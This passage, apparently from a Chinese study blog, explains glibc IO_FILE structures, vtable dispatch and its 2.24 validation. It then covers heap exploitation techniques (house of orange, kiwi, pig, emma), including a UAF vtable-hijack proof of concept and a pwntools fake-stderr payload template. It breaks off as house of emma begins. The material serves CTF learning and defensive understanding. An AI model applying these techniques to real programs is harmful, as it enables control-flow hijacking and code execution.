_IO_FILE file; const struct _IO_jump_t *vtable;};\n\n结构体成员包括一个用于描述文件各个属性的结构体和一个用于描述文件操作行为的跳转表指针。其中,文件属性通过 _IO_FILE 结构体描述:\nstruct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */#define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno;#if 0 int _blksize;#else int _flags2;#endif _IO_off_t _old_offset; /* This used to be _offset but it's too small. */#define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; /* char* _save_gptr; char* _save_egptr; */ _IO_lock_t *_lock;#ifdef _IO_USE_OLD_IO_FILE};\n\n且先不论整个结构体的各个成员的具体作用,这里仅记录几个较为重要的内容。\n来看看跳转表的行为:\nstruct _IO_jump_t{ JUMP_FIELD(size_t, __dummy); JUMP_FIELD(size_t, __dummy2); JUMP_FIELD(_IO_finish_t, __finish); JUMP_FIELD(_IO_overflow_t, __overflow); JUMP_FIELD(_IO_underflow_t, __underflow); JUMP_FIELD(_IO_underflow_t, __uflow); JUMP_FIELD(_IO_pbackfail_t, __pbackfail); /* showmany */ JUMP_FIELD(_IO_xsputn_t, __xsputn); JUMP_FIELD(_IO_xsgetn_t, __xsgetn); JUMP_FIELD(_IO_seekoff_t, __seekoff); JUMP_FIELD(_IO_seekpos_t, __seekpos); JUMP_FIELD(_IO_setbuf_t, __setbuf); JUMP_FIELD(_IO_sync_t, __sync); JUMP_FIELD(_IO_doallocate_t, __doallocate); JUMP_FIELD(_IO_read_t, __read); JUMP_FIELD(_IO_write_t, __write); JUMP_FIELD(_IO_seek_t, __seek); JUMP_FIELD(_IO_close_t, __close); JUMP_FIELD(_IO_stat_t, __stat); JUMP_FIELD(_IO_showmanyc_t, __showmanyc); JUMP_FIELD(_IO_imbue_t, __imbue);#if 0 get_column; set_column;#endif};\n\n该跳转表定义了对文件执行相应操作时具体会使用的行为函数,例如 _IO_read_t 对应了 __read 虚函数,在生成该文件结构时,每个条目占用 8 字节,以具体的函数地址填充。\n简单来说,文件结构形式如下:\n\nGLIBC2.23 与 跳转表劫持#include <stdio.h>#include <stdlib.h>void pwn(void){ printf("Dave, my mind is going.\\n"); fflush(stdout);}void * funcs[] = { NULL, // "extra word" NULL, // DUMMY exit, // finish NULL, // overflow NULL, // underflow NULL, // uflow NULL, // pbackfail NULL, // xsputn NULL, // xsgetn NULL, // seekoff NULL, // seekpos NULL, // setbuf NULL, // sync NULL, // doallocate NULL, // read NULL, // write NULL, // seek pwn, // close NULL, // stat NULL, // showmanyc NULL, // imbue};int main(int argc, char * argv[]){ FILE *fp; unsigned char *str; str = malloc(sizeof(FILE) + sizeof(void *)); free(str); if (!(fp = fopen("/dev/null", "r"))) { perror("fopen"); return 1; } *(unsigned long*)(str + sizeof(FILE)) = (unsigned long)funcs; fclose(fp); return 0;}\n\n上述 POC 中通过 UAF 漏洞来劫持 fp 指针的指向。\n在打开一个文件时,系统会调用 malloc 来开辟对应的 _IO_FILE_plus ,而最后的跳转表为一个指针,通过修改改指针,可以令跳转表被劫持为自己设定的目标:\n*(unsigned long*)(str + sizeof(FILE)) = (unsigned long)funcs;\n\n这部分的内容,其实我已经看过很多次,而每次都停在这里。各种各样的文章都会从这个版本开始,但实话实说,以今天的视点来看已经相当鸡肋了,似乎完全没必要在乎这个版本下劫持跳转表的利用方法,因为自 2.24 以来加入了保护,如今已经更迭了如此之多的版本,似乎没有太大意义了。\n细节与深入分析前问刚说没有太大意义,这一小节就开始深入分析了,这似乎显得有点矛盾。但笔者现在逐渐能够理解这其中的意义以及这条利用的艰辛了。\n\n尽管古早的利用已经距今久远,可是对于后来的人们,他们仍然需要从那遥远的旧版本开始前进。人们走得越远,后来的人们却仍要在同样的路上走相同的距离。(尽管现在总说,新的 apple 和 cat 能够通杀,但说实话,如果我没看过前面的利用,就不太能理解这两个新技巧了。)\n\n首先,不妨先用以下的代码来跟踪一下 IO_FILE 的创建流程和虚表的执行跳转:\n#include<stdio.h>int main(){ char data[20]; FILE*fp=fopen("toka","rb"); fread(data,1,20,fp); return 0;}\n\n首先我们将断点打在 fopen ,此时的 IO_FILE 如下:\ngdb-peda$ p _IO_list_all$8 = (struct _IO_FILE_plus *) 0x7ffff7dd2540 <_IO_2_1_stderr_>gdb-peda$ p stderr$10 = (struct _IO_FILE *) 0x7ffff7dd2540 <_IO_2_1_stderr_>gdb-peda$ p *_IO_list_all$9 = { file = { _flags = 0xfbad2086, _IO_read_ptr = 0x0, _IO_read_end = 0x0, _IO_read_base = 0x0, _IO_write_base = 0x0, _IO_write_ptr = 0x0, _IO_write_end = 0x0, _IO_buf_base = 0x0, _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7ffff7dd2620 <_IO_2_1_stdout_>, _fileno = 0x2, _flags2 = 0x0, _old_offset = 0xffffffffffffffff, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = "", _lock = 0x7ffff7dd3770 <_IO_stdfile_2_lock>, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x7ffff7dd1660 <_IO_wide_data_2>, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0x0, _mode = 0x0, _unused2 = '\\000' <repeats 19 times> }, vtable = 0x7ffff7dd06e0 <_IO_file_jumps>}\n\n可以注意到,_IO_list_all 作为一个链表表头符号,记录了具体的 IO_FILE 地址,此时的第一个就是 stderr ,而剩余的文件通过 _chain 连接。\n而在打开第一个文件以后,此时的链表标头转为:\ngdb-peda$ p _IO_list_all$12 = (struct _IO_FILE_plus *) 0x602010gdb-peda$ p *_IO_list_all$11 = { file = { _flags = 0xfbad2488, _IO_read_ptr = 0x0, _IO_read_end = 0x0, _IO_read_base = 0x0, _IO_write_base = 0x0, _IO_write_ptr = 0x0, _IO_write_end = 0x0, _IO_buf_base = 0x0, _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7ffff7dd2540 <_IO_2_1_stderr_>, _fileno = 0x3, _flags2 = 0x0, _old_offset = 0x0, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = "", _lock = 0x6020f0, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x602100, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0x0, _mode = 0x0, _unused2 = '\\000' <repeats 19 times> }, vtable = 0x7ffff7dd06e0 <_IO_file_jumps>}\n\n可以注意到,此地址来自于堆内存:\ngdb-peda$ heap0x602000 PREV_INUSE { prev_size = 0x0, size = 0x231, fd = 0xfbad2488, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0}0x602230 PREV_INUSE { prev_size = 0x7ffff7dd0260, size = 0x20dd1, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0}\n\n说明在为文件创建抽象实体的过程中,会申请堆内存来储存具体的结构体数据。\n接下来调用 fread ,其调用链如下:\nfread -> _IO_sgetn -> __GI__IO_file_xsgetn -> _IO_doallocbuf -> _IO_file_doallocate -> __underflow -> _IO_file_underflow\n\n其中,_IO_sgetn 作为前导函数,它会读取 vtable 中的对应值从而得到 __GI__IO_file_xsgetn 的函数地址,该函数作为具体实现。\n调用逻辑大致如下:\n\n而 _IO_doallocbuf 和 __underflow 也都是前导函数,用来调用虚表中的 _IO_file_doallocate 和 _IO_file_underflow 。\n用中文描述这个逻辑的意思大概是:\n\n通过 vtable 调用 __GI__IO_file_xsgetn 。如果此前已经为文件开辟过缓冲区,则继续;否则通过 _IO_file_doallocate 来开辟对应的缓冲区。如果缓冲区为空,则通过 _IO_file_underflow 将数据复制到缓冲区中;否则继续。最后将缓冲区中的数据拷贝到用户自己的缓冲区中。\n\n接下来我们跟一下源代码:\n_IO_size_t_IO_fread (void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp){ _IO_size_t bytes_requested = size * count; _IO_size_t bytes_read; CHECK_FILE (fp, 0); if (bytes_requested == 0) return 0; _IO_acquire_lock (fp); bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested); _IO_release_lock (fp); return bytes_requested == bytes_read ? count : bytes_read / size;}libc_hidden_def (_IO_fread)\n\n这段代码并没有太多内容。首先获得文件锁,然后调用 _IO_sgetn 进行读取,完成后释放锁,并返回读取的字节数。\n_IO_size_t_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n){ _IO_size_t want, have; _IO_ssize_t count; char *s = data; want = n; if (fp->_IO_buf_base == NULL) { /* Maybe we already have a push back pointer. */ if (fp->_IO_save_base != NULL) { free (fp->_IO_save_base); fp->_flags &= ~_IO_IN_BACKUP; } _IO_doallocbuf (fp); } while (want > 0) { have = fp->_IO_read_end - fp->_IO_read_ptr; if (want <= have) { memcpy (s, fp->_IO_read_ptr, want); fp->_IO_read_ptr += want; want = 0; } else { if (have > 0) {#ifdef _LIBC s = __mempcpy (s, fp->_IO_read_ptr, have);#else memcpy (s, fp->_IO_read_ptr, have); s += have;#endif want -= have; fp->_IO_read_ptr += have; } /* Check for backup and repeat */ if (_IO_in_backup (fp)) { _IO_switch_to_main_get_area (fp); continue; } /* If we now want less than a buffer, underflow and repeat the copy. Otherwise, _IO_SYSREAD directly to the user buffer. */ if (fp->_IO_buf_base && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base)) { if (__underflow (fp) == EOF) break; continue; } /* These must be set before the sysread as we might longjmp out waiting for input. */ _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base); _IO_setp (fp, fp->_IO_buf_base, fp->_IO_buf_base); /* Try to maintain alignment: read a whole number of blocks. */ count = want; if (fp->_IO_buf_base) { _IO_size_t block_size = fp->_IO_buf_end - fp->_IO_buf_base; if (block_size >= 128) count -= want % block_size; } count = _IO_SYSREAD (fp, s, count); if (count <= 0) { if (count == 0) fp->_flags |= _IO_EOF_SEEN; else fp->_flags |= _IO_ERR_SEEN; break; } s += count; want -= count; if (fp->_offset != _IO_pos_BAD) _IO_pos_adjust (fp->_offset, count); } } return n - want;}libc_hidden_def (_IO_file_xsgetn)\n\n通过如下判断确定缓冲区是否开辟:\nif (fp->_IO_buf_base == NULL)\n\n如果没有开辟则主动开辟:\nint_IO_file_doallocate (_IO_FILE *fp){ _IO_size_t size; char *p; struct stat64 st;#ifndef _LIBC /* If _IO_cleanup_registration_needed is non-zero, we should call the function it points to. This is to make sure _IO_cleanup gets called on exit. We call it from _IO_file_doallocate, since that is likely to get called by any program that does buffered I/O. */ if (__glibc_unlikely (_IO_cleanup_registration_needed != NULL)) (*_IO_cleanup_registration_needed) ();#endif size = _IO_BUFSIZ; if (fp->_fileno >= 0 && __builtin_expect (_IO_SYSSTAT (fp, &st), 0) >= 0) { if (S_ISCHR (st.st_mode)) { /* Possibly a tty. */ if (#ifdef DEV_TTY_P DEV_TTY_P (&st) ||#endif local_isatty (fp->_fileno)) fp->_flags |= _IO_LINE_BUF; }#if _IO_HAVE_ST_BLKSIZE if (st.st_blksize > 0) size = st.st_blksize;#endif } p = malloc (size); if (__glibc_unlikely (p == NULL)) return EOF; _IO_setb (fp, p, p + size, 1); return 1;}libc_hidden_def (_IO_file_doallocate)\n\n缓冲区在此处通过堆内存来开辟:\np = malloc (size);\n\n然后最终再将其设置为缓冲区:\nvoid_IO_setb (_IO_FILE *f, char *b, char *eb, int a){ if (f->_IO_buf_base && !(f->_flags & _IO_USER_BUF)) free (f->_IO_buf_base); f->_IO_buf_base = b; f->_IO_buf_end = eb; if (a) f->_flags &= ~_IO_USER_BUF; else f->_flags |= _IO_USER_BUF;}libc_hidden_def (_IO_setb)\n\n在完成开辟以后尝试读取:\nwhile (want > 0) { have = fp->_IO_read_end - fp->_IO_read_ptr; if (want <= have) { memcpy (s, fp->_IO_read_ptr, want); fp->_IO_read_ptr += want; want = 0; }\n\n如果缓冲区中的余量尚且足够,那就可以直接将这部分数据拷贝到用户缓冲区;\n但如果不够,则需要进一步的处理:\n首先,如果缓冲区中还有数据,那就先把缓冲区中的所有内容写进用户缓冲区。\n else { if (have > 0) {#ifdef _LIBC s = __mempcpy (s, fp->_IO_read_ptr, have);#else memcpy (s, fp->_IO_read_ptr, have); s += have;#endif want -= have; fp->_IO_read_ptr += have; }\n\n接下来需要调用 __underflow 来获取新数据:\n/* Check for backup and repeat */if (_IO_in_backup (fp)) { _IO_switch_to_main_get_area (fp); continue; }/* If we now want less than a buffer, underflow and repeat the copy. Otherwise, _IO_SYSREAD directly to the user buffer. */if (fp->_IO_buf_base && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base)) { if (__underflow (fp) == EOF) break; continue; }\n\n跟入进去可以找到对应的定义:\nint__underflow (_IO_FILE *fp){#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T if (_IO_vtable_offset (fp) == 0 && _IO_fwide (fp, -1) != -1) return EOF;#endif if (fp->_mode == 0) _IO_fwide (fp, -1); if (_IO_in_put_mode (fp)) if (_IO_switch_to_get_mode (fp) == EOF) return EOF; if (fp->_IO_read_ptr < fp->_IO_read_end) return *(unsigned char *) fp->_IO_read_ptr; if (_IO_in_backup (fp)) { _IO_switch_to_main_get_area (fp); if (fp->_IO_read_ptr < fp->_IO_read_end) return *(unsigned char *) fp->_IO_read_ptr; } if (_IO_have_markers (fp)) { if (save_for_backup (fp, fp->_IO_read_end)) return EOF; } else if (_IO_have_backup (fp)) _IO_free_backup_area (fp); return _IO_UNDERFLOW (fp);}libc_hidden_def (__underflow)\n\n这整个函数做了很多检查,但最终是需要调用 _IO_UNDERFLOW 完成主要功能的,该函数也在 vtable 中:\nint_IO_new_file_underflow (_IO_FILE *fp){ _IO_ssize_t count; if (fp->_flags & _IO_NO_READS) { fp->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return EOF; } if (fp->_IO_read_ptr < fp->_IO_read_end) return *(unsigned char *) fp->_IO_read_ptr; if (fp->_IO_buf_base == NULL) { /* Maybe we already have a push back pointer. */ if (fp->_IO_save_base != NULL) { free (fp->_IO_save_base); fp->_flags &= ~_IO_IN_BACKUP; } _IO_doallocbuf (fp); } _IO_acquire_lock (_IO_stdout); if ((_IO_stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF)) == (_IO_LINKED | _IO_LINE_BUF))_IO_OVERFLOW (_IO_stdout, EOF); _IO_release_lock (_IO_stdout);#endif } _IO_switch_to_get_mode (fp); fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base; fp->_IO_read_end = fp->_IO_buf_base; fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end = fp->_IO_buf_base; count = _IO_SYSREAD (fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base); if (count <= 0) { if (count == 0) fp->_flags |= _IO_EOF_SEEN; else fp->_flags |= _IO_ERR_SEEN, count = 0; } fp->_IO_read_end += count; if (count == 0) { fp->_offset = _IO_pos_BAD; return EOF; } if (fp->_offset != _IO_pos_BAD) _IO_pos_adjust (fp->_offset, count); return *(unsigned char *) fp->_IO_read_ptr;}libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)\n\n代码并不复杂,简单来说就做这么一件事:\n\n首先经过 flag 的检查之后,如果缓冲区未建立,则用 _IO_doallocbuf 创建缓冲区;接下来,设定读取和写入的指针界限;再然后通过 _IO_SYSREAD ,该函数通过系统调用从硬盘读取数据到缓冲区;读取以后,设定缓冲区的读取边界\n\n\n_IO_new_file_underflow 的应用比较广,很多文件读写最终都会向该函数发起调用并且,有些函数并不经过 _IO_doallocbuf ,因此在 _IO_new_file_underflow 中会有一次判断和开辟的过程。\n\n最后,在完成调用以后,会通过 continue 返回到 while 重新进行判断,由于其这次将缓冲区初始化,因此可以通过 memcpy 将数据复制到用户缓冲区:\n while (want > 0) { have = fp->_IO_read_end - fp->_IO_read_ptr; if (want <= have) { memcpy (s, fp->_IO_read_ptr, want); fp->_IO_read_ptr += want; want = 0; } else { if (have > 0) {#ifdef _LIBC s = __mempcpy (s, fp->_IO_read_ptr, have);#else memcpy (s, fp->_IO_read_ptr, have); s += have;#endif want -= have; fp->_IO_read_ptr += have; } /* Check for backup and repeat */ if (_IO_in_backup (fp)) { _IO_switch_to_main_get_area (fp); continue; } if (fp->_IO_buf_base && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base)) { if (__underflow (fp) == EOF) break; continue; }\n\n这一套调用链梳理以后,对 文件结构是文件在内存中的抽象 这一概念或许就有些概念了。\n如您所见,上述的调用链多次使用虚表进行跳转,因此如果能够劫持虚表中的函数地址,即可在调用对应函数时劫持控制流。\n2.24 调整与保护在上文中介绍了劫持虚表以及文件结构的调用逻辑。但劫持整个虚表的操作在 GLIBC2.24 开始就被检查了。\n后来添加的 IO_validate_vtable 和 IO_vtable_check 用于检查 vtable 的合法性:\nstatic inline const struct _IO_jump_t *IO_validate_vtable (const struct _IO_jump_t *vtable){ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) _IO_vtable_check (); return vtable;}\n\n进入检查的前提条件是:虚表对应的偏移大于虚表节区的长度。\nGLIBC 维护了多张虚表,但这些虚表均处于一段较为固定的内存,因此该判断触发条件是,虚表不位于该内存段处。\nvoid attribute_hidden_IO_vtable_check (void){#ifdef SHARED /* Honor the compatibility flag. */ void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);#ifdef PTR_DEMANGLE PTR_DEMANGLE (flag);#endif if (flag == &_IO_vtable_check) return; /* In case this libc copy is in a non-default namespace, we always need to accept foreign vtables because there is always a possibility that FILE * objects are passed across the linking boundary. */ { Dl_info di; struct link_map *l; if (_dl_open_hook != NULL || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0 && l->l_ns != LM_ID_BASE)) return; }#else /* !SHARED */ /* We cannot perform vtable validation in the static dlopen case because FILE * handles might be passed back and forth across the boundary. Therefore, we disable checking in this case. */ if (__dlopen != NULL) return;#endif __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\\n");}\n\n对上述检查,仅限于重构或是动态链接库中 vtable,否则将会触发报错并关闭进程。\n因此自 GLIBC2.24 以来,对虚表的伪造就仅限于在对应的地址段内进行了。\n高版本下的调用链思考再接下来的版本里,往往这种利用的对抗转为了调用链的发现和利用。正如上文所说,vtable 被限制到了固定的内存段,但是将 vtable 改为其他合法的跳转表,并劫持其他跳转表中会使用的函数指针即可。\n而在后来的版本中,官方又将函数指针删除,转为对应的固定函数,因此调用链被消解,但又有大佬找到了新的调用链。\n一般来说,IO_FILE 的利用集中在 GLIBC2.31 之后,尤其是在 GLIBC2.34 中删除了 __free_hook 和 __malloc_hook 的情况下。\nhouse of orange我自己最早听说过的 IO 利用就来自于该操作。其出现于 2016 年的 HITCON,距本文撰写已经有六年左右了。该利用本身指的是 “在没有 free 的情况下获得被释放的内存块”,但是题目最终却需要结合 IO_FILE 完成利用,因此本节的重点也放在后半部分。\n在当时的环境中,尚且使用 GLIBC2.23,因此劫持虚表的操作是可行的。\n通过 unsortedbin attack 能将 main_arena+88/96 写入任意地址的操作,将其写入到 _IO_list_all 中,相当于伪造链表的操作了。\n而该地址作为新的 _IO_FILE_plus 被使用时,其 _chain 字段正好对应到了 smallbin[4] ,因此只要将合适的内存块伪造好数据并放入其中,就能令 _chain 指向的下一个 _IO_FILE_plus 由攻击者控制,则 vtable 就能够指向任意地址了。\n至于触发调用链:malloc() -> malloc_printerr() -> __libc_message() -> abort() -> fflush() -> _IO_flush_all_lockp() -> _IO_new_file_overflow()\n for (;; ) { int iters = 0; while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) { bck = victim->bk; if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0) || __builtin_expect (victim->size > av->system_mem, 0)) malloc_printerr (check_action, "malloc(): memory corruption", chunk2mem (victim), av); size = chunksize (victim); /* If a small request, try to use last remainder if it is the only chunk in unsorted bin. This helps promote locality for runs of consecutive small requests. This is the only exception to best-fit, and applies only when there is no exact fit for a small chunk. */ if (in_smallbin_range (nb) && bck == unsorted_chunks (av) && victim == av->last_remainder && (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) { /* split and reattach remainder */ remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; av->last_remainder = remainder; remainder->bk = remainder->fd = unsorted_chunks (av); if (!in_smallbin_range (remainder_size)) { remainder->fd_nextsize = NULL; remainder->bk_nextsize = NULL; } set_head (victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); set_head (remainder, remainder_size | PREV_INUSE); set_foot (remainder, remainder_size); check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } /* remove from unsorted list */ unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av); /* Take now instead of binning if exact fit */ if (size == nb) { set_inuse_bit_at_offset (victim, size); if (av != &main_arena) victim->size |= NON_MAIN_ARENA; check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } /* place chunk in bin */ if (in_smallbin_range (size)) { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; } else { victim_index = largebin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; /* maintain large bins in sorted order */ if (fwd != bck) { /* Or with inuse bit to speed comparisons */ size |= PREV_INUSE; /* if smaller than smallest, bypass loop below */ assert ((bck->bk->size & NON_MAIN_ARENA) == 0); if ((unsigned long) (size) < (unsigned long) (bck->bk->size)) { fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } else { assert ((fwd->size & NON_MAIN_ARENA) == 0); while ((unsigned long) size < fwd->size) { fwd = fwd->fd_nextsize; assert ((fwd->size & NON_MAIN_ARENA) == 0); } if ((unsigned long) size == (unsigned long) fwd->size) /* Always insert in the second position. */ fwd = fwd->fd; else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; } } else victim->fd_nextsize = victim->bk_nextsize = victim; } mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;#define MAX_ITERS 10000 if (++iters >= MAX_ITERS) break; }\n\n由于这个步骤过于一气呵成了,因此在这里做一个简单的解释:\n在调用 malloc 时,会检查 Bins 结构,并发现 unsortedbin 中存在 chunk,因此开始遍历。首先在第一次遍历时会将原本的 Top chunk 取出,从而完成 unsortedbin attack:\nunsorted_chunks (av)->bk = bck;bck->fd = unsorted_chunks (av);\n\n并且在这之后,会将这块内存放入 smallbin 中:\n if (in_smallbin_range (size)) { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; }...... victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;\n\n但由于该循环的条件仍然满足,即堆管理器认为 unsortedbin 中还有内容,因此进入第二次遍历:\nwhile ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) { bck = victim->bk; if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0) || __builtin_expect (victim->size > av->system_mem, 0)) malloc_printerr (check_action, "malloc(): memory corruption", chunk2mem (victim), av);\n\n而在这一次中,由于本次取出的值实则为 _IO_list_all-0x10 ,并未伪造对应的 size 等字段,因此会触发 malloc_printerr 从而进入上文所述的调用链。\n由于 unsortedbin attack 的关系,_IO_list_all 被改为了 unsortedbin ,而 _chain 字段正好对应到了 smallbin[0x60] ,而该处正好就是上一次被放入的 top chunk,因此在上次更新时布置好 vtable 即可劫持控制流。\nhouse of kiwi思路和 orange 的差别在于,orange 尝试直接伪造整个 vtable,而 kiwi 只希望修改 vtable 中的某一项为 setcontext+61 来调整 rsp 和 rcx 的值来劫持控制流。\n调用链:assert->malloc_assert->fflush(stderr)->_IO_file_sync\nstatic void__malloc_assert (const char *assertion, const char *file, unsigned int line, const char *function){(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\\n", __progname, __progname[0] ? ": " : "", file, line, function ? function : "", function ? ": " : "", assertion);fflush (stderr);abort ();}\n\n该调用链会读取 stderr 的 IO_FILE 中的 vtable 完成利用,因此需要伪造其 vtable 中的某一项。\n不过笔者尝试在 Ubuntu16.04 和 Ubuntu18.04 以及 Ubuntu20.04 上测试,发现 vtable 所属的内存段都没有可写权限,似乎这个利用只存在于早期版本,在之后的小版本更新后就被修复了。\n\nGNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.Copyright (C) 2020 Free Software Foundation, Inc.This is free software; see the source for copying conditions.There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR APARTICULAR PURPOSE.Compiled by GNU CC version 9.4.0.libc ABIs: UNIQUE IFUNC ABSOLUTE\n\n不过该方法的利用链和利用技巧却在之后的其他利用手段中被常常使用:\n<setcontext+61>: mov rsp,QWORD PTR [rdx+0xa0]<setcontext+68>: mov rbx,QWORD PTR [rdx+0x80]<setcontext+75>: mov rbp,QWORD PTR [rdx+0x78]<setcontext+79>: mov r12,QWORD PTR [rdx+0x48]<setcontext+83>: mov r13,QWORD PTR [rdx+0x50]<setcontext+87>: mov r14,QWORD PTR [rdx+0x58]<setcontext+91>: mov r15,QWORD PTR [rdx+0x60]<setcontext+95>: test DWORD PTR fs:0x48,0x2<setcontext+107>: je 0x7ffff7e31156 <setcontext+294>-><setcontext+294>: mov rcx,QWORD PTR [rdx+0xa8]<setcontext+301>: push rcx<setcontext+302>: mov rsi,QWORD PTR [rdx+0x70]<setcontext+306>: mov rdi,QWORD PTR [rdx+0x68]<setcontext+310>: mov rcx,QWORD PTR [rdx+0x98]<setcontext+317>: mov r8,QWORD PTR [rdx+0x28]<setcontext+321>: mov r9,QWORD PTR [rdx+0x30]<setcontext+325>: mov rdx,QWORD PTR [rdx+0x88]<setcontext+332>: xor eax,eax<setcontext+334>: ret\n\n假设现在我们能令 rdx 指向自己伪造的某个结构体,那么就能够在上述代码段中设定所有通用寄存器的值。同时可以注意到,rcx 寄存器用以设定该函数的返回值,其被储存在了 [rdx+0xa8] 。\nhouse of pig在只有 calloc 的情况下,通过 tcachebin 完成的一种利用技巧。\n其触发函数只有一个:_IO_str_overflow ,关键代码如下:\nif (fp->_flags & _IO_USER_BUF) return EOF;else{ char *new_buf; char *old_buf = fp->_IO_buf_base; size_t old_blen = _IO_blen (fp); size_t new_size = 2 * old_blen + 100; if (new_size < old_blen) return EOF; new_buf = malloc (new_size);//-------house of pig:get chunk from tcache if (new_buf == NULL) { /* __ferror(fp) = 1; */ return EOF; } if (old_buf) { memcpy (new_buf, old_buf, old_blen); //-------house of pig:copy /bin/sh and system to _free_hook free (old_buf); //-------house of pig:getshell /* Make sure _IO_setb won't try to delete _IO_buf_base. */ fp->_IO_buf_base = NULL; }\n\n此段代码调用 malloc 、memcpy 和 free ,触发关键是在申请内存时已向 tcachebin 中放入 __free_hook ,而调用 memcpy 时向其中写入其他函数地址,然后在 free 时触发劫持。\n此项利用和上面又有些许不同的是,我们可以直接伪造整个 IO_FILE ,但将其 vtable 指向 _IO_str_jumps 而不需要修改跳转表本身,由于_IO_str_jumps 是一个合法的跳转表,因此能够正常被使用而不会触发异常。\n调用 _IO_flush_all_lockp 时可以触发该函数,一般如下任意一个都行:\n\n\n当 libc 执行abort流程时。\n\n\n\n程序显式调用 exit 。\n\n\n\n程序能通过主函数返回。\n\n\n\n\n但这需要 __free_hook ,如您所见,自 GLIBC2.34 以来就不再使用了。不过如果能写 got 表,在之后还是可以尝试利用的。\n\n常用的伪造 stderr 模板:\n# magic_gadget:mov rdx, rbx ; mov rsi, r12 ; call qword ptr [r14 + 0x38]fake_stderr = p64(0)*3 + p64(0xffffffffffffffff) # _IO_write_ptrfake_stderr += p64(0) + p64(fake_stderr_addr+0xf0) + p64(fake_stderr_addr+0x108)fake_stderr = fake_stderr.ljust(0x78, b'\\x00')fake_stderr += p64(libc.sym['_IO_stdfile_2_lock']) # _lockfake_stderr = fake_stderr.ljust(0x90, b'\\x00') # sropfake_stderr += p64(rop_address + 0x10) + p64(ret_addr) # rsp ripfake_stderr = fake_stderr.ljust(0xc8, b'\\x00')fake_stderr += p64(libc.sym['_IO_str_jumps'] - 0x20)fake_stderr += p64(0) + p64(0x21)fake_stderr += p64(magic_gadget) + p64(0) # r14 r14+8fake_stderr += p64(0) + p64(0x21) + p64(0)*3fake_stderr += p64(libc.sym['setcontext']+61) # r14 + 0x38\n\nhouse of emma在 GLIBC2.34 以后没有了 __free_hook 和 __malloc_hook 等极其方便的利用,因此出现了一个新的利用链,主要和 _IO_cookie_jumps 